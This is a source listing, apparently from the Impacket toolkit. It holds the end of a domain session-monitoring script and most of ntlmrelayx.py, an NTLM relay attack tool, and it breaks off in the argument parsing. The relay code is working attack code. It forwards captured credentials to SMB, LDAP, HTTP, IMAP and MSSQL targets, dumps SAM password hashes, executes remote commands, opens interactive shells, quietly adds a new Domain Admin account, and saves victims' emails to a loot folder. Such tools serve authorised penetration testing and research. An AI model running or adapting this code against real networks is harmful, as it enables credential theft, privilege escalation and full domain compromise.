resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
|
||||
domains = resp['Buffer']['Buffer']
|
||||
|
||||
logging.info("Looking up users in domain %s" % domains[0]['Name'])
|
||||
|
||||
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
|
||||
|
||||
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
|
||||
domainHandle = resp['DomainHandle']
|
||||
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumerationContext = 0
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, samr.USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
enumerationContext=enumerationContext)
|
||||
except DCERPCException, e:
|
||||
if str(e).find('STATUS_MORE_ENTRIES') < 0:
|
||||
raise
|
||||
resp = e.get_packet()
|
||||
|
||||
for user in resp['Buffer']['Buffer']:
|
||||
self.__machinesList.append(user['Name'][:-1])
|
||||
logging.debug('Machine name - rid: %s - %d'% (user['Name'], user['RelativeId']))
|
||||
|
||||
enumerationContext = resp['EnumerationContext']
|
||||
status = resp['ErrorCode']
|
||||
except Exception, e:
|
||||
raise e
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
def getTargets(self):
|
||||
logging.info('Importing targets')
|
||||
if self.__options.target is None and self.__options.targets is None:
|
||||
# We need to download the list of machines from the domain
|
||||
self.getDomainMachines()
|
||||
elif self.__options.targets is not None:
|
||||
for line in self.__options.targets.readlines():
|
||||
self.__machinesList.append(line.strip(' \r\n'))
|
||||
else:
|
||||
# Just a single machine
|
||||
self.__machinesList.append(self.__options.target)
|
||||
logging.info("Got %d machines" % len(self.__machinesList))
|
||||
|
||||
def filterUsers(self):
|
||||
if self.__options.user is not None:
|
||||
self.__filterUsers = list()
|
||||
self.__filterUsers.append(self.__options.user)
|
||||
elif self.__options.users is not None:
|
||||
# Grab users list from a file
|
||||
self.__filterUsers = list()
|
||||
for line in self.__options.users.readlines():
|
||||
self.__filterUsers.append(line.strip(' \r\n'))
|
||||
else:
|
||||
self.__filterUsers = None
|
||||
|
||||
def run(self):
|
||||
self.getTargets()
|
||||
self.filterUsers()
|
||||
#self.filterGroups()
|
||||
|
||||
# Up to here we should have figured out the scope of our work
|
||||
self.__targetsThreadEvent = Event()
|
||||
if self.__options.noloop is False:
|
||||
# Start a separate thread checking the targets that are up
|
||||
self.__targetsThread = Thread(target=checkMachines, args=(self.__machinesList,self.__targetsThreadEvent))
|
||||
self.__targetsThread.start()
|
||||
else:
|
||||
# Since it's gonna be a one shoot test, we need to wait till it finishes
|
||||
checkMachines(self.__machinesList,self.__targetsThreadEvent, singlePass=True)
|
||||
|
||||
while True:
|
||||
# Do we have more machines to add?
|
||||
while machinesAliveQueue.empty() is False:
|
||||
machine = machinesAliveQueue.get()
|
||||
logging.debug('Adding %s to the up list' % machine)
|
||||
self.__targets[machine] = {}
|
||||
self.__targets[machine]['SRVS'] = None
|
||||
self.__targets[machine]['WKST'] = None
|
||||
self.__targets[machine]['Admin'] = True
|
||||
self.__targets[machine]['Sessions'] = list()
|
||||
self.__targets[machine]['LoggedIn'] = set()
|
||||
|
||||
for target in self.__targets.keys():
|
||||
try:
|
||||
self.getSessions(target)
|
||||
self.getLoggedIn(target)
|
||||
except (SessionError, DCERPCException), e:
|
||||
# We will silently pass these ones, might be issues with Kerberos, or DCE
|
||||
if str(e).find('LOGON_FAILURE') >=0:
|
||||
# For some reason our credentials don't work there,
|
||||
# taking it out from the list.
|
||||
logging.error('STATUS_LOGON_FAILURE for %s, discarding' % target)
|
||||
del(self.__targets[target])
|
||||
elif str(e).find('INVALID_PARAMETER') >=0:
|
||||
del(self.__targets[target])
|
||||
elif str(e).find('access_denied') >=0:
|
||||
# Can't access the target RPC call, most probably a Unix host
|
||||
# taking it out from the list
|
||||
del(self.__targets[target])
|
||||
else:
|
||||
logging.info(str(e))
|
||||
pass
|
||||
except KeyboardInterrupt:
|
||||
raise
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
if str(e).find('timed out') >=0:
|
||||
# Most probably this site went down. taking it out
|
||||
# ToDo: add it back to the list of machines to check in
|
||||
# the separate thread - DONE
|
||||
del(self.__targets[target])
|
||||
machinesDownQueue.put(target)
|
||||
else:
|
||||
# These ones we will report
|
||||
logging.error(e)
|
||||
pass
|
||||
|
||||
if self.__options.noloop is True:
|
||||
break
|
||||
|
||||
logging.debug('Sleeping for %s seconds' % self.__options.delay)
|
||||
logging.debug('Currently monitoring %d active targets' % len(self.__targets))
|
||||
sleep(int(self.__options.delay))
|
||||
|
||||
def getSessions(self, target):
|
||||
if self.__targets[target]['SRVS'] is None:
|
||||
stringSrvsBinding = r'ncacn_np:%s[\PIPE\srvsvc]' % target
|
||||
rpctransportSrvs = transport.DCERPCTransportFactory(stringSrvsBinding)
|
||||
if hasattr(rpctransportSrvs, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransportSrvs.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpctransportSrvs.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
dce = rpctransportSrvs.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
self.__maxConnections -= 1
|
||||
else:
|
||||
dce = self.__targets[target]['SRVS']
|
||||
|
||||
try:
|
||||
resp = srvs.hNetrSessionEnum(dce, '\x00', NULL, 10)
|
||||
except Exception, e:
|
||||
if str(e).find('Broken pipe') >= 0:
|
||||
# The connection timed-out. Let's try to bring it back next round
|
||||
self.__targets[target]['SRVS'] = None
|
||||
self.__maxConnections += 1
|
||||
return
|
||||
else:
|
||||
raise
|
||||
|
||||
if self.__maxConnections < 0:
|
||||
# Can't keep this connection open. Closing it
|
||||
dce.disconnect()
|
||||
self.__maxConnections = 0
|
||||
else:
|
||||
self.__targets[target]['SRVS'] = dce
|
||||
|
||||
# Let's see who createad a connection since last check
|
||||
tmpSession = list()
|
||||
printCRLF = False
|
||||
for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:
|
||||
userName = session['sesi10_username'][:-1]
|
||||
sourceIP = session['sesi10_cname'][:-1][2:]
|
||||
key = '%s\x01%s' % (userName, sourceIP)
|
||||
myEntry = '%s\x01%s' % (self.__username, myIP)
|
||||
tmpSession.append(key)
|
||||
if not(key in self.__targets[target]['Sessions']):
|
||||
# Skipping myself
|
||||
if key != myEntry:
|
||||
self.__targets[target]['Sessions'].append(key)
|
||||
# Are we filtering users?
|
||||
if self.__filterUsers is not None:
|
||||
if userName in self.__filterUsers:
|
||||
print "%s: user %s logged from host %s - active: %d, idle: %d" % (
|
||||
target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time'])
|
||||
printCRLF = True
|
||||
else:
|
||||
print "%s: user %s logged from host %s - active: %d, idle: %d" % (
|
||||
target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time'])
|
||||
printCRLF = True
|
||||
|
||||
# Let's see who deleted a connection since last check
|
||||
for nItem, session in enumerate(self.__targets[target]['Sessions']):
|
||||
userName, sourceIP = session.split('\x01')
|
||||
if session not in tmpSession:
|
||||
del(self.__targets[target]['Sessions'][nItem])
|
||||
# Are we filtering users?
|
||||
if self.__filterUsers is not None:
|
||||
if userName in self.__filterUsers:
|
||||
print "%s: user %s logged off from host %s" % (target, userName, sourceIP)
|
||||
printCRLF=True
|
||||
else:
|
||||
print "%s: user %s logged off from host %s" % (target, userName, sourceIP)
|
||||
printCRLF=True
|
||||
|
||||
if printCRLF is True:
|
||||
print
|
||||
|
||||
def getLoggedIn(self, target):
|
||||
if self.__targets[target]['Admin'] is False:
|
||||
return
|
||||
|
||||
if self.__targets[target]['WKST'] is None:
|
||||
stringWkstBinding = r'ncacn_np:%s[\PIPE\wkssvc]' % target
|
||||
rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding)
|
||||
if hasattr(rpctransportWkst, 'set_credentials'):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
dce = rpctransportWkst.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(wkst.MSRPC_UUID_WKST)
|
||||
self.__maxConnections -= 1
|
||||
else:
|
||||
dce = self.__targets[target]['WKST']
|
||||
|
||||
try:
|
||||
resp = wkst.hNetrWkstaUserEnum(dce,1)
|
||||
except Exception, e:
|
||||
if str(e).find('Broken pipe') >= 0:
|
||||
# The connection timed-out. Let's try to bring it back next round
|
||||
self.__targets[target]['WKST'] = None
|
||||
self.__maxConnections += 1
|
||||
return
|
||||
elif str(e).upper().find('ACCESS_DENIED'):
|
||||
# We're not admin, bye
|
||||
dce.disconnect()
|
||||
self.__maxConnections += 1
|
||||
self.__targets[target]['Admin'] = False
|
||||
return
|
||||
else:
|
||||
raise
|
||||
|
||||
if self.__maxConnections < 0:
|
||||
# Can't keep this connection open. Closing it
|
||||
dce.disconnect()
|
||||
self.__maxConnections = 0
|
||||
else:
|
||||
self.__targets[target]['WKST'] = dce
|
||||
|
||||
# Let's see who looged in locally since last check
|
||||
tmpLoggedUsers = set()
|
||||
printCRLF = False
|
||||
for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']:
|
||||
userName = session['wkui1_username'][:-1]
|
||||
logonDomain = session['wkui1_logon_domain'][:-1]
|
||||
key = '%s\x01%s' % (userName, logonDomain)
|
||||
tmpLoggedUsers.add(key)
|
||||
if not(key in self.__targets[target]['LoggedIn']):
|
||||
self.__targets[target]['LoggedIn'].add(key)
|
||||
# Are we filtering users?
|
||||
if self.__filterUsers is not None:
|
||||
if userName in self.__filterUsers:
|
||||
print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName)
|
||||
printCRLF=True
|
||||
else:
|
||||
print "%s: user %s\\%s logged in LOCALLY" % (target,logonDomain,userName)
|
||||
printCRLF=True
|
||||
|
||||
# Let's see who logged out since last check
|
||||
for session in self.__targets[target]['LoggedIn'].copy():
|
||||
userName, logonDomain = session.split('\x01')
|
||||
if session not in tmpLoggedUsers:
|
||||
self.__targets[target]['LoggedIn'].remove(session)
|
||||
# Are we filtering users?
|
||||
if self.__filterUsers is not None:
|
||||
if userName in self.__filterUsers:
|
||||
print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName)
|
||||
printCRLF=True
|
||||
else:
|
||||
print "%s: user %s\\%s logged off LOCALLY" % (target,logonDomain,userName)
|
||||
printCRLF=True
|
||||
|
||||
if printCRLF is True:
|
||||
print
|
||||
|
||||
def stop(self):
|
||||
if self.__targetsThreadEvent is not None:
|
||||
self.__targetsThreadEvent.set()
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
print version.BANNER
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
parser.add_argument('identity', action='store', help='[domain/]username[:password]')
|
||||
parser.add_argument('-user', action='store', help='Filter output by this user')
|
||||
parser.add_argument('-users', type=argparse.FileType('r'), help='input file with list of users to filter to output for')
|
||||
#parser.add_argument('-group', action='store', help='Filter output by members of this group')
|
||||
#parser.add_argument('-groups', type=argparse.FileType('r'), help='Filter output by members of the groups included in the input file')
|
||||
parser.add_argument('-target', action='store', help='target system to query info from. If not specified script will '
|
||||
'run in domain mode.')
|
||||
parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query info '
|
||||
'from (one per line). If not specified script will run in domain mode.')
|
||||
parser.add_argument('-noloop', action='store_true', default=False, help='Stop after the first probe')
|
||||
parser.add_argument('-delay', action='store', default = '10', help='seconds delay between starting each batch probe '
|
||||
'(default 10 seconds)')
|
||||
parser.add_argument('-max-connections', action='store', default='1000', help='Max amount of connections to keep '
|
||||
'opened (default 1000)')
|
||||
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
|
||||
|
||||
group = parser.add_argument_group('authentication')
|
||||
|
||||
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
|
||||
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
|
||||
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
|
||||
'ones specified in the command line')
|
||||
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
|
||||
'(128 or 256 bits)')
|
||||
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
|
||||
'ommited it use the domain part (FQDN) specified in the target parameter')
|
||||
|
||||
if len(sys.argv)==1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
options = parser.parse_args()
|
||||
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
import re
|
||||
|
||||
domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::([^@]*))?)?').match(options.identity).groups(
|
||||
'')
|
||||
|
||||
try:
|
||||
if domain is None:
|
||||
domain = ''
|
||||
|
||||
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
|
||||
from getpass import getpass
|
||||
password = getpass("Password:")
|
||||
|
||||
if options.aesKey is not None:
|
||||
options.k = True
|
||||
|
||||
executer = USERENUM(username, password, domain, options.hashes, options.aesKey, options.k, options)
|
||||
executer.run()
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
logging.error(e)
|
||||
executer.stop()
|
||||
except KeyboardInterrupt:
|
||||
logging.info('Quitting.. please wait')
|
||||
executer.stop()
|
||||
sys.exit(0)
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,484 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2013-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Generic NTLM Relay Module
|
||||
#
|
||||
# Authors:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
|
||||
#
|
||||
# Description:
|
||||
# This module performs the SMB Relay attacks originally discovered
|
||||
# by cDc. It receives a list of targets and for every connection received it
|
||||
# will choose the next target and try to relay the credentials. Also, if
|
||||
# specified, it will first to try authenticate against the client connecting
|
||||
# to us.
|
||||
#
|
||||
# It is implemented by invoking a SMB and HTTP Server, hooking to a few
|
||||
# functions and then using the smbclient portion. It is supposed to be
|
||||
# working on any LM Compatibility level. The only way to stop this attack
|
||||
# is to enforce on the server SPN checks and or signing.
|
||||
#
|
||||
# If the target system is enforcing signing and a machine account was provided,
|
||||
# the module will try to gather the SMB session key through
|
||||
# NETLOGON (CVE-2015-0005)
|
||||
#
|
||||
# If the authentication against the targets succeed, the client authentication
|
||||
# success as well and a valid connection is set against the local smbserver.
|
||||
# It's up to the user to set up the local smbserver functionality. One option
|
||||
# is to set up shares with whatever files you want to the victim thinks it's
|
||||
# connected to a valid SMB server. All that is done through the smb.conf file or
|
||||
# programmatically.
|
||||
#
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
import thread
|
||||
import logging
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import os
|
||||
from threading import Thread
|
||||
|
||||
from impacket import version, smb3, smb
|
||||
from impacket.examples import logger
|
||||
from impacket.examples import serviceinstall
|
||||
from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer
|
||||
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
|
||||
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
|
||||
from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
|
||||
from impacket.smbconnection import SMBConnection
|
||||
from smbclient import MiniImpacketShell
|
||||
|
||||
class SMBAttack(Thread):
|
||||
def __init__(self, config, SMBClient, username):
|
||||
Thread.__init__(self)
|
||||
self.daemon = True
|
||||
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
|
||||
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
|
||||
else:
|
||||
self.__SMBConnection = SMBClient
|
||||
self.config = config
|
||||
self.__answerTMP = ''
|
||||
if self.config.interactive:
|
||||
#Launch locally listening interactive shell
|
||||
self.tcpshell = TcpShell()
|
||||
else:
|
||||
self.tcpshell = None
|
||||
if self.config.exeFile is not None:
|
||||
self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
|
||||
|
||||
def __answer(self, data):
|
||||
self.__answerTMP += data
|
||||
|
||||
def run(self):
|
||||
# Here PUT YOUR CODE!
|
||||
if self.tcpshell is not None:
|
||||
logging.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
|
||||
#Start listening and launch interactive shell
|
||||
self.tcpshell.listen()
|
||||
self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
|
||||
self.shell.cmdloop()
|
||||
return
|
||||
if self.config.exeFile is not None:
|
||||
result = self.installService.install()
|
||||
if result is True:
|
||||
logging.info("Service Installed.. CONNECT!")
|
||||
self.installService.uninstall()
|
||||
else:
|
||||
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
|
||||
samHashes = None
|
||||
try:
|
||||
# We have to add some flags just in case the original client did not
|
||||
# Why? needed for avoiding INVALID_PARAMETER
|
||||
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
|
||||
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
|
||||
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
|
||||
|
||||
remoteOps = RemoteOperations(self.__SMBConnection, False)
|
||||
remoteOps.enableRegistry()
|
||||
except Exception, e:
|
||||
# Something wen't wrong, most probably we don't have access as admin. aborting
|
||||
logging.error(str(e))
|
||||
return
|
||||
|
||||
try:
|
||||
if self.config.command is not None:
|
||||
remoteOps._RemoteOperations__executeRemote(self.config.command)
|
||||
logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
|
||||
self.__answerTMP = ''
|
||||
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
|
||||
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
|
||||
print self.__answerTMP.decode(self.config.encoding, 'replace')
|
||||
else:
|
||||
bootKey = remoteOps.getBootKey()
|
||||
remoteOps._RemoteOperations__serviceDeleted = True
|
||||
samFileName = remoteOps.saveSAM()
|
||||
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
|
||||
samHashes.dump()
|
||||
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
|
||||
logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
|
||||
except Exception, e:
|
||||
logging.error(str(e))
|
||||
finally:
|
||||
if samHashes is not None:
|
||||
samHashes.finish()
|
||||
if remoteOps is not None:
|
||||
remoteOps.finish()
|
||||
|
||||
#Define global variables to prevent dumping the domain twice
|
||||
dumpedDomain = False
|
||||
addedDomainAdmin = False
|
||||
class LDAPAttack(Thread):
|
||||
def __init__(self, config, LDAPClient, username):
|
||||
Thread.__init__(self)
|
||||
self.daemon = True
|
||||
|
||||
#Import it here because non-standard dependency
|
||||
self.ldapdomaindump = __import__('ldapdomaindump')
|
||||
self.client = LDAPClient
|
||||
self.username = username.decode('utf-16le')
|
||||
|
||||
#Global config
|
||||
self.config = config
|
||||
|
||||
def addDA(self, domainDumper):
|
||||
global addedDomainAdmin
|
||||
if addedDomainAdmin:
|
||||
logging.error('DA already added. Refusing to add another')
|
||||
return
|
||||
|
||||
#Random password
|
||||
newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
|
||||
|
||||
#Random username
|
||||
newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))
|
||||
|
||||
ucd = {
|
||||
'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
|
||||
'distinguishedName': 'CN=%s,CN=Users,%s' % (newUser,domainDumper.root),
|
||||
'cn': newUser,
|
||||
'sn': newUser,
|
||||
'givenName': newUser,
|
||||
'displayName': newUser,
|
||||
'name': newUser,
|
||||
'userAccountControl': 512,
|
||||
'accountExpires': 0,
|
||||
'sAMAccountName': newUser,
|
||||
'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
|
||||
}
|
||||
|
||||
res = self.client.connection.add('CN=%s,CN=Users,%s' % (newUser,domainDumper.root),['top','person','organizationalPerson','user'],ucd)
|
||||
if not res:
|
||||
logging.error('Failed to add a new user: %s' % str(self.client.connection.result))
|
||||
else:
|
||||
logging.info('Adding new user with username: %s and password: %s result: OK' % (newUser,newPassword))
|
||||
|
||||
domainsid = domainDumper.getRootSid()
|
||||
dagroupdn = domainDumper.getDAGroupDN(domainsid)
|
||||
res = self.client.connection.modify(dagroupdn, {
|
||||
'member': [(self.client.MODIFY_ADD, ['CN=%s,CN=Users,%s' % (newUser, domainDumper.root)])]})
|
||||
if res:
|
||||
logging.info('Adding user: %s to group Domain Admins result: OK' % newUser)
|
||||
logging.info('Domain Admin privileges aquired, shutting down...')
|
||||
addedDomainAdmin = True
|
||||
thread.interrupt_main()
|
||||
else:
|
||||
logging.error('Failed to add user to Domain Admins group: %s' % str(self.client.connection.result))
|
||||
|
||||
def run(self):
|
||||
global dumpedDomain
|
||||
#Set up a default config
|
||||
domainDumpConfig = self.ldapdomaindump.domainDumpConfig()
|
||||
|
||||
#Change the output directory to configured rootdir
|
||||
domainDumpConfig.basepath = self.config.lootdir
|
||||
|
||||
#Create new dumper object
|
||||
domainDumper = self.ldapdomaindump.domainDumper(self.client.server, self.client.connection, domainDumpConfig)
|
||||
|
||||
if domainDumper.isDomainAdmin(self.username):
|
||||
logging.info('User is a Domain Admin!')
|
||||
if self.config.addda:
|
||||
if 'ldaps' in self.client.target:
|
||||
self.addDA(domainDumper)
|
||||
else:
|
||||
logging.error('Connection to LDAP server does not use LDAPS, to enable adding a DA specify the target with ldaps:// instead of ldap://')
|
||||
else:
|
||||
logging.info('Not adding a new Domain Admin because of configuration options')
|
||||
else:
|
||||
logging.info('User is not a Domain Admin')
|
||||
if not dumpedDomain and self.config.dumpdomain:
|
||||
#do this before the dump is complete because of the time this can take
|
||||
dumpedDomain = True
|
||||
logging.info('Dumping domain info for first time')
|
||||
domainDumper.domainDump()
|
||||
logging.info('Domain info dumped into lootdir!')
|
||||
|
||||
|
||||
class HTTPAttack(Thread):
|
||||
def __init__(self, config, HTTPClient, username):
|
||||
Thread.__init__(self)
|
||||
self.daemon = True
|
||||
self.config = config
|
||||
self.client = HTTPClient
|
||||
self.username = username
|
||||
|
||||
def run(self):
|
||||
#Default action: Dump requested page to file, named username-targetname.html
|
||||
|
||||
#You can also request any page on the server via self.client.session,
|
||||
#for example with:
|
||||
#result = self.client.session.get('http://secretserver/secretpage.html')
|
||||
#print result.content
|
||||
|
||||
#Remove protocol from target name
|
||||
safeTargetName = self.client.target.replace('http://','').replace('https://','')
|
||||
|
||||
#Replace any special chars in the target name
|
||||
safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName)
|
||||
|
||||
#Combine username with filename
|
||||
fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html'
|
||||
|
||||
#Write it to the file
|
||||
with open(os.path.join(self.config.lootdir,fileName),'w') as of:
|
||||
of.write(self.client.lastresult)
|
||||
|
||||
class IMAPAttack(Thread):
|
||||
def __init__(self, config, IMAPClient, username):
|
||||
Thread.__init__(self)
|
||||
self.daemon = True
|
||||
self.config = config
|
||||
self.client = IMAPClient
|
||||
self.username = username
|
||||
|
||||
def run(self):
|
||||
#Default action: Search the INBOX for messages with "password" in the header or body
|
||||
targetBox = self.config.mailbox
|
||||
result, data = self.client.session.select(targetBox,True) #True indicates readonly
|
||||
if result != 'OK':
|
||||
logging.error('Could not open mailbox %s: %s' % (targetBox,data))
|
||||
logging.info('Opening mailbox INBOX')
|
||||
targetBox = 'INBOX'
|
||||
result, data = self.client.session.select(targetBox,True) #True indicates readonly
|
||||
inboxCount = int(data[0])
|
||||
logging.info('Found %s messages in mailbox %s' % (inboxCount,targetBox))
|
||||
#If we should not dump all, search for the keyword
|
||||
if not self.config.dump_all:
|
||||
result, rawdata = self.client.session.search(None,'OR','SUBJECT','"%s"' % self.config.keyword,'BODY','"%s"' % self.config.keyword)
|
||||
#Check if search worked
|
||||
if result != 'OK':
|
||||
logging.error('Search failed: %s' % rawdata)
|
||||
return
|
||||
dumpMessages = []
|
||||
#message IDs are separated by spaces
|
||||
for msgs in rawdata:
|
||||
dumpMessages += msgs.split(' ')
|
||||
if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:
|
||||
dumpMessages = dumpMessages[:self.config.dump_max]
|
||||
else:
|
||||
#Dump all mails, up to the maximum number configured
|
||||
if self.config.dump_max == 0 or self.config.dump_max > inboxCount:
|
||||
dumpMessages = range(1,inboxCount+1)
|
||||
else:
|
||||
dumpMessages = range(1,self.config.dump_max+1)
|
||||
|
||||
numMsgs = len(dumpMessages)
|
||||
if numMsgs == 0:
|
||||
logging.info('No messages were found containing the search keywords')
|
||||
else:
|
||||
logging.info('Dumping %d messages found by search for "%s"' % (numMsgs,self.config.keyword))
|
||||
for i,msgIndex in enumerate(dumpMessages):
|
||||
#Fetch the message
|
||||
result, rawMessage = self.client.session.fetch(msgIndex, '(RFC822)')
|
||||
if result != 'OK':
|
||||
logging.error('Could not fetch message with index %s: %s' % (msgIndex,rawMessage))
|
||||
continue
|
||||
|
||||
#Replace any special chars in the mailbox name and username
|
||||
mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox)
|
||||
textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le'))
|
||||
|
||||
#Combine username with mailboxname and mail number
|
||||
fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'
|
||||
|
||||
#Write it to the file
|
||||
with open(os.path.join(self.config.lootdir,fileName),'w') as of:
|
||||
of.write(rawMessage[0][1])
|
||||
logging.info('Done fetching message %d/%d' % (i+1,numMsgs))
|
||||
|
||||
#Close connection cleanly
|
||||
self.client.session.logout()
|
||||
|
||||
class MSSQLAttack(Thread):
|
||||
def __init__(self, config, MSSQLClient):
|
||||
Thread.__init__(self)
|
||||
self.config = config
|
||||
self.client = MSSQLClient
|
||||
|
||||
def run(self):
|
||||
if self.config.queries is None:
|
||||
logging.error('No SQL queries specified for MSSQL relay!')
|
||||
else:
|
||||
for query in self.config.queries:
|
||||
logging.info('Executing SQL: %s' % query)
|
||||
self.client.sql_query(query)
|
||||
self.client.printReplies()
|
||||
self.client.printRows()
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
|
||||
RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer )
|
||||
ATTACKS = { 'SMB': SMBAttack, 'LDAP': LDAPAttack, 'HTTP': HTTPAttack, 'MSSQL': MSSQLAttack, 'IMAP': IMAPAttack}
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
print version.BANNER
|
||||
#Parse arguments
|
||||
parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will "
|
||||
"try to relay that connection to specified target(s) system or the original client")
|
||||
parser._optionals.title = "Main options"
|
||||
|
||||
#Main arguments
|
||||
parser.add_argument("-h","--help", action="help", help='show this help message and exit')
|
||||
parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help='Target to relay the credentials to, '
|
||||
'can be an IP, hostname or URL like smb://server:445 If unspecified, it will relay back to the client')
|
||||
parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '
|
||||
'full URL, one per line')
|
||||
parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
|
||||
'automatically (only valid with -tf)')
|
||||
parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient/mssqlclient console instead'
|
||||
'of executing a command after a successful relay. This console will listen locally on a '
|
||||
' tcp port and can be reached with for example netcat.')
|
||||
parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection (HTTP server only)')
|
||||
parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
|
||||
parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot '
|
||||
'directory in which gathered loot such as SAM dumps will be stored (default: current directory).')
|
||||
parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes '
|
||||
'will be added for ntlm and ntlmv2')
|
||||
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
|
||||
'"%s"). If errors are detected, run chcp.com at the target, '
|
||||
'map the result with '
|
||||
'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py '
|
||||
'again with -codec and the corresponding codec ' % sys.getdefaultencoding())
|
||||
parser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when '
|
||||
'interacting with the domain to grab a session key for signing, format is domain/machine_name')
